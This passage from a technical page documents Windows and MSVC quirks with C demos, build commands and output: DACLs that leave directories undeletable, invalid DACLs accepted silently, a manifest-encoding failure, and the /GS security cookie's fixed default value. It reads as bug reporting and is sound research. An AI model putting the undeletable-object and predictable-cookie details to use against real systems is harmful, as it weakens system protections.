    					PrintConsole(hConsole,
    					             L"DACL of file differs from original DACL!\n");
    
    				if (LocalFree(lpSD) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    
    			if (!WriteFile(hFile,
    			               L"\xFEFF",	// UTF-16LE byte order mark
    			               sizeof(L'\xFEFF'),
    			               &dwFile,
    			               (LPOVERLAPPED) NULL))
    				PrintConsole(hConsole,
    				             L"WriteFile() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				if (dwFile != sizeof(L'\xFEFF'))
    					PrintConsole(hConsole,
    					             L"WriteFile() wrote %lu of %lu bytes\n",
    					             dwFile, sizeof(L'\xFEFF'));
    
    			if (!CloseHandle(hFile))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (!DeleteFile(szName))
    			{
    				PrintConsole(hConsole,
    				             L"DeleteFile() returned error %lu\n",
    				             dwError = GetLastError());
    
    				if (dwError == ERROR_ACCESS_DENIED)
    				{
    					dwError = SetNamedSecurityInfo(szName,
    					                               SE_FILE_OBJECT,
    					                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
    					                               (SID *) NULL,
    					                               (SID *) NULL,
    					                               &acl,
    					                               (ACL *) NULL);
    
    					if (dwError != ERROR_SUCCESS)
    						PrintConsole(hConsole,
    						             L"SetNamedSecurityInfo() returned error %lu\n",
    						             dwError);
    					else
    						if (!DeleteFile(szName))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu\n",
    							             dwError = GetLastError());
    
    					dwError = ERROR_ACCESS_DENIED;
    				}
    			}
    		}
    
    		if (!CreateDirectory(szName,
    		                     &sa))
    			PrintConsole(hConsole,
    			             L"CreateDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwError = GetNamedSecurityInfo(szName,
    			                               SE_FILE_OBJECT,
    			                               OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    			                               (SID **) NULL,
    			                               (SID **) NULL,
    			                               &lpDACL,
    			                               (ACL **) NULL,
    			                               &lpSD);
    
    			if (dwError != ERROR_SUCCESS)
    				PrintConsole(hConsole,
    				             L"GetNamedSecurityInfo() returned error %lu\n",
    				             dwError);
    			else
    			{
    				if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    				                                                         SDDL_REVISION_1,
    				                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    				                                                         &lpSDDL,
    				                                                         (LPDWORD) NULL))
    					PrintConsole(hConsole,
    					             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"Directory \'%ls\' created with security descriptor \'%ls\'\n",
    					             szName, lpSDDL);
    
    					if (LocalFree(lpSDDL) != NULL)
    						PrintConsole(hConsole,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    
    				if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
    					PrintConsole(hConsole,
    					             L"DACL of directory differs from original DACL!\n");
    
    				if (LocalFree(lpSD) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    
    			if (!RemoveDirectory(szName))
    			{
    				PrintConsole(hConsole,
    				             L"RemoveDirectory() returned error %lu\n",
    				             dwError = GetLastError());
    
    				if (dwError == ERROR_ACCESS_DENIED)
    				{
    					dwError = SetNamedSecurityInfo(szName,
    					                               SE_FILE_OBJECT,
    					                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
    					                               (SID *) NULL,
    					                               (SID *) NULL,
    					                               &acl,
    					                               (ACL *) NULL);
    
    					if (dwError != ERROR_SUCCESS)
    						PrintConsole(hConsole,
    						             L"SetNamedSecurityInfo() returned error %lu\n",
    						             dwError);
    					else
    						if (!RemoveDirectory(szName))
    							PrintConsole(hConsole,
    							             L"RemoveDirectory() returned error %lu\n",
    							             dwError = GetLastError());
    
    					dwError = ERROR_ACCESS_DENIED;
    				}
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk17.exe from the source file quirk17.c created in step 1., with the preprocessor macro QUIRKS defined as 0 or 1:

    SET CL=/GAFy /W4 /wd4090 /Zl
    SET LINK=/DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE /DQUIRKS=0 quirk17.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk17.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  3. Execute the console application quirk17.exe built in step 2. to verify its proper function:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;FA;;;AU)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)'
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)'
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    A file as well as a directory created (for example) with only the DACL D:P(A;NP;FA;;;AU) or D:P(A;NP;0x1f0000;;;S-1-5-15) can be deleted.
  4. Build the console application quirk17.exe a second time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 2 or 3:

    CL.EXE /DQUIRKS=2 quirk17.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  5. Execute the console application quirk17.exe built in step 4. to show the misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;FA;;;PS)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
    RemoveDirectory() returned error 5
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: while a file created (for example) with only the DACL D:P(A;NP;FA;;;PS) or D:P(A;NP;0x1f0000;;;S-1-5-1000) can be deleted, a directory created with only this DACL can’t be deleted!
  6. Build the console application quirk17.exe a third time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 4:

    CL.EXE /DQUIRKS=4 quirk17.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  7. Execute the console application quirk17.exe built in step 6. to show a second misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;0x3000000;;;IU)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)'
    DACL of file differs from original DACL!
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)'
    DACL of directory differs from original DACL!
    RemoveDirectory() returned error 5
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: the Win32 functions ConvertSecurityDescriptorToStringSecurityDescriptor(), CreateDirectory() and CreateFile() fail to detect the (intentionally) invalid DACL D:P(A;NP;0x3000000;;;IU); the latter functions apply a DACL D:P(A;NP;;;;IU) instead, granting only implicit (A;NP;WDRC;;;OW) access for the object’s owner!
  8. Build the console application quirk17.exe a fourth time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 5:

    CL.EXE /DQUIRKS=5 quirk17.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  9. Execute the console application quirk17.exe built in step 8. to show a third misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    ConvertSecurityDescriptorToStringSecurityDescriptor() returned error 1336
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P'
    DACL of file differs from original DACL!
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1001G:S-1-5-21-820728443-44925810-1835867902-513D:P'
    DACL of directory differs from original DACL!
    RemoveDirectory() returned error 5
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: while the Win32 function ConvertSecurityDescriptorToStringSecurityDescriptor() now properly detects the (intentionally) invalid DACL D:P(ML;;NXNRNW;;;ME) and returns the Win32 error 1336 alias ERROR_INVALID_ACL, both CreateDirectory() and CreateFile() fail to detect it and apply the empty DACL D:P instead, again granting only implicit (A;NP;WDRC;;;OW) access for the object’s owner!
Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 18

The MSDN article Application Manifest specifies:
An application manifest is an XML file that describes and identifies the shared and private side-by-side assemblies that an application should bind to at run time. These should be the same assembly versions that were used to test the application. Application manifests may also describe metadata for files that are private to the application.

For a complete listing of the XML schema, see […]

Windows’ module loader but fails with STATUS_SXS_CANT_GEN_ACTCTX when a valid XML encoding like US-ASCII, UTF-7 or Windows-1252 other than UTF-8 is used in an application manifest!

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk18.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    long	wmainCRTStartup(void)
    {
    	return -123456789;
    }
  2. Build the console application quirk18.exe from the source file quirk18.c created in step 1.:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk18.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk18.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk18.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk18.exe
    quirk18.obj
  3. Start the console application quirk18.exe built in step 2. to verify its proper function:

    .\quirk18.exe
    ECHO %ERRORLEVEL%
    -123456789
  4. Create the text file quirk18.exe.manifest with the following content next to the console application quirk18.exe built in step 2.:

    <?xml version='1.0' encoding='US-ASCII' standalone='yes' ?>
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />
  5. Start the console application quirk18.exe built in step 2. again to demonstrate the (mis)behaviour:

    .\quirk18.exe
    ECHO %ERRORLEVEL%
    The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail.
    14001
    OUCH: although the application manifest quirk18.exe.manifest contains perfectly valid XML, loading of the application fails with Win32 error 14001 alias ERROR_SXS_CANT_GEN_ACTCTX!
Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 19

The MSDN article /GS (Buffer Security Check) states:
The /GS compiler option requires that the security cookie be initialized before any function that uses the cookie is run. The security cookie must be initialized immediately on entry to an EXE or DLL. This is done automatically if you use the default VCRuntime entry points: mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup, or _DllMainCRTStartup. If you use an alternate entry point, you must manually initialize the security cookie by calling __security_init_cookie.
These statements are but wrong in two points and omit several details:
  1. the code generated by the compiler works independent of the actual value of the security cookie;
  2. the security cookie is (typically) initialised to a non-zero, but fixed and well-known default value during compile time, 0xBB40E64E = 3141592654 = π×109 for 32-bit object modules and 0x00002B992DDFA232 = π×1018÷216 for 64-bit object modules;
  3. the module loader (re)initialises the security cookie of 32-bit DLLs since Windows XP SP2 if it has the default value;
  4. the module loader (re)initialises the security cookie of 32-bit applications since Windows 10 if it has the default value;
  5. the module loader (re)initialises the security cookie of 64-bit DLLs and applications since Windows 10 if it has the default value and the size of the IMAGE_LOAD_CONFIG_DIRECTORY64 structure in the eleventh entry of the IMAGE_DATA_DIRECTORY array in the IMAGE_OPTIONAL_HEADER structure matches the size of the _load_config_used structure;
  6. the function __security_init_cookie provided in the MSVCRT libraries (re)initialises the security cookie only if it has the default value or is 0.
The MSDN magazine articles Protecting Your Code with Visual C++ Defenses and Visual C++ Support for Stack-Based Buffer Protection provide additional information.

Demonstration

Perform the following 6 simple steps to show the (mis)behaviour.
  1. Create the text file quirk19.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #ifndef _WIN64
    #ifdef ZERO
    DWORD_PTR	__security_cookie = 0;
    #else
    DWORD_PTR	__security_cookie = 0xBB40E64E;
    #endif		               // = 3141592654 = 10**9 * pi
    
    extern	LPVOID	__safe_se_handler_table[];
    extern	BYTE	__safe_se_handler_count;
    
    const	IMAGE_LOAD_CONFIG_DIRECTORY32	_load_config_used = {sizeof(_load_config_used),
    					                     'NULL',	// = 2011-08-24 19:09:00 UTC
    					                     _MSC_VER / 100,
    					                     _MSC_VER % 100,
    					                     0, 0, 0, 0, 0, 0, 0, 0,
    					                     HEAP_GENERATE_EXCEPTIONS,
    					                     0, 0, 0, 0,
    					                     &__security_cookie,
    					                     __safe_se_handler_table,
    					                     &__safe_se_handler_count};
    #else
    #ifdef ZERO
    DWORD_PTR	__security_cookie = 0;
    #else
    DWORD_PTR	__security_cookie = 0x00002B992DDFA232;
    		               // = 3141592653589793241 >> 16
    #endif		               // = 10**18 / 2**16 * pi
    
    const	IMAGE_LOAD_CONFIG_DIRECTORY64	_load_config_used = {sizeof(_load_config_used),
    					                     'NULL',	// = 2011-08-24 19:09:00 UTC
    					                     _MSC_VER / 100,
    					                     _MSC_VER % 100,
    					                     0, 0, 0, 0, 0, 0, 0, 0, 0,
    					                     HEAP_GENERATE_EXCEPTIONS,
    					                     0, 0, 0,
    					                     &__security_cookie,
    					                     0,
    					                     0};
    #endif // _WIN64
    
    #ifdef DLL
    __declspec(dllexport)
    __declspec(safebuffers)
    BOOL	WINAPI	ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		return FALSE;
    #ifndef _WIN64
    	if (gsCookie == 0xBB40E64E)
    #else
    	if (gsCookie == 0x00002B992DDFA232)
    #endif
    		dwBuffer = wsprintf(szBuffer,
    		                    L"%ls entry point: /GS security cookie is NOT initialised!\a\n",
    		                    lpFunction);
    	else if (gsCookie == 0)
    		dwBuffer = wsprintf(szBuffer,
    		                    L"%ls entry point: /GS security cookie is 0!\a\n",
    		                    lpFunction);
    	else
    		dwBuffer = wsprintf(szBuffer,
    		                    L"%ls entry point: /GS security cookie is initialised with 0x%p\n",
    		                    lpFunction, gsCookie);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(dllexport)
    __declspec(safebuffers)
    BOOL	WINAPI	WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	UINT	uiType = MB_ICONERROR | MB_OK;
    #ifndef _WIN64
    	if (gsCookie == 3141592654)
    #else
    	if (gsCookie == 3141592653589793241 >> 16)
    #endif
    		lstrcpy(szBuffer, L"/GS security cookie is NOT initialised!\n");
    	else if (gsCookie == 0)
    		lstrcpy(szBuffer, L"/GS security cookie is 0!\n");
    	else
    	{
    		dwBuffer = wsprintf(szBuffer,
    		                    L"/GS security cookie is initialised with 0x%p\n",
    		                    gsCookie);
    		szBuffer[dwBuffer] = L'\0';
    		uiType = MB_ICONINFORMATION | MB_OK;
    	}
    
    	return MessageBoxEx(HWND_DESKTOP, szBuffer, lpFunction, uiType,
    	                    MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL));
    }
    
    BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
    {
    	if (dwReason != DLL_PROCESS_ATTACH)
    		return FALSE;
    
    	if (GetConsoleWindow() != NULL)
    		ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    	else
    		WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	return TRUE;
    }
    #else
    #ifdef CONSOLE
    __declspec(dllimport)
    BOOL	WINAPI	ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	ExitProcess(GetLastError());
    }
    #else
    __declspec(dllimport)
    BOOL	WINAPI	WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
    
    __declspec(noreturn)
    VOID	WINAPI	wWinMainCRTStartup(VOID)
    {
    	WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	ExitProcess(GetLastError());
    }
    #endif // CONSOLE
    #endif // DLL
  2. Build the DLL quirk19.dll and its import library quirk19.lib from the source file quirk19.c created in step 1. with the preprocessor macro DLL defined:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:I386
    CL.EXE /DDLL /LD quirk19.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk19.dll is a pure Win32 DLL and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk19.c
    quirk19.c(26) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    quirk19.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    quirk19.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    quirk19.c(115) : warning C4100: 'lpReserved' : unreferenced formal parameter
    quirk19.c(115) : warning C4100: 'hModule' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:I386
    /out:quirk19.dll
    /dll
    /implib:quirk19.lib
    quirk19.obj
       Creating library quirk19.lib and object quirk19.exp
  3. Build the console application quirk19.com from the source file quirk19.c created in step 1. with the preprocessor macro CONSOLE defined:

    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk19.lib /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    CL.EXE /DCONSOLE /Fequirk19.com quirk19.c
    Note: quirk19.com is a pure Win32 console application and builds without the MSVCRT libraries.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk19.c
    quirk19.c(26) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    quirk19.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    quirk19.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk19.lib /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    /out:quirk19.com
    quirk19.obj
  4. Build the application quirk19.exe from the source file quirk19.c created in step 1. with the preprocessor macro ZERO defined:

    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk19.lib /ENTRY:wWinMainCRTStartup /MACHINE:I386 /SUBSYSTEM:WINDOWS
    CL.EXE /DZERO quirk19.c

    Note: quirk19.exe is a pure Win32 application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk19.c
    quirk19.c(26) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    quirk19.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    quirk19.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk19.lib /ENTRY:wWinMainCRTStartup /MACHINE:I386 /SUBSYSTEM:WINDOWS
    /out:quirk19.exe
    quirk19.obj
  5. ...

    .\quirk19.com
    .\quirk19.exe
    Control.exe "%CD%\quirk19.dll"
    __DllMainCRTStartup@12 entry point: /GS security cookie initialised as 0xC97D2381
    _wmainCRTStartup@0 entry point: /GS security cookie initialised as 0xAB5E5CC5
  6. Repeat the previous four steps 2. to 5. to build quirk19.dll, quirk19.com and quirk19.exe for the x64 alias AMD64 processor architecture and execute them:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:AMD64
    CL.EXE /DDLL /LD quirk19.c
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk19.lib /ENTRY:wmainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:CONSOLE
    CL.EXE /DCONSOLE /Fequirk19.com quirk19.c
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk19.lib /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:WINDOWS
    CL.EXE /DZERO quirk19.c
    .\quirk19.com
    .\quirk19.exe
    Control.exe "%CD%\quirk19.dll"
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk19.c
    quirk19.c(44) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    quirk19.c(115) : warning C4100: 'lpReserved' : unreferenced formal parameter
    quirk19.c(115) : warning C4100: 'hModule' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:AMD64
    /out:quirk19.dll
    /dll
    /implib:quirk19.lib
    quirk19.obj
       Creating library quirk19.lib and object quirk19.exp
    
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk19.c
    quirk19.c(44) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk19.lib /ENTRY:wmainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:CONSOLE
    /out:quirk19.com
    quirk19.obj
    
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk19.c
    quirk19.c(44) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk19.lib /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:WINDOWS
    /out:quirk19.exe
    quirk19.obj
    
    _DllMainCRTStartup entry point: /GS security cookie NOT initialised!
    wmainCRTStartup entry point: /GS security cookie NOT initialised!
    Oops: ...

Quirk № 20

The MSDN article /ENTRY (Entry-Point Symbol) specifies:
The /ENTRY option specifies an entry point function as the starting address for an .exe file or DLL.

The function must be defined to use the __stdcall calling convention. The parameters and return value depend on if the program is a console application, a windows application or a DLL. It is recommended that you let the linker set the entry point so that the C run-time library is initialized correctly, and C++ constructors for static objects are executed.

By default, the starting address is a function name from the C run-time library. The linker selects it according to the attributes of the program, as shown in the following table.

Function name Default for
mainCRTStartup (or wmainCRTStartup) An application that uses /SUBSYSTEM:CONSOLE; calls main (or wmain)
WinMainCRTStartup (or wWinMainCRTStartup) An application that uses /SUBSYSTEM:WINDOWS; calls WinMain (or wWinMain), which must be defined to use __stdcall
_DllMainCRTStartup A DLL; calls DllMain if it exists, which must be defined to use __stdcall
If the /DLL or /SUBSYSTEM option is not specified, the linker selects a subsystem and entry point depending on whether main or WinMain is defined.

The functions main, WinMain, and DllMain are the three forms of the user-defined entry point.

The MSDN article Format of a C Decorated Name specifies:
The form of decoration for a C function depends on the calling convention used in its declaration, as shown below. Note that in a 64-bit environment, functions are not decorated.
Calling convention Decoration
__cdecl (the default) Leading underscore (_)
__stdcall Leading underscore (_) and a trailing at sign (@) followed by a number representing the number of bytes in the parameter list
The MSDN articles __cdecl and __stdcall provide more details.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk20.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #ifdef QUIRKS
    #define NULL	(void *) 0
    
    extern	int	main(int argc, char *argv[], char *envp[]);
    
    int	QUIRKS	mainCRTStartup(void)
    {
    	static	char	*argv[] = {"Quirk20", __FUNCDNAME__, NULL};
    	static	char	*envp[] = {NULL};
    
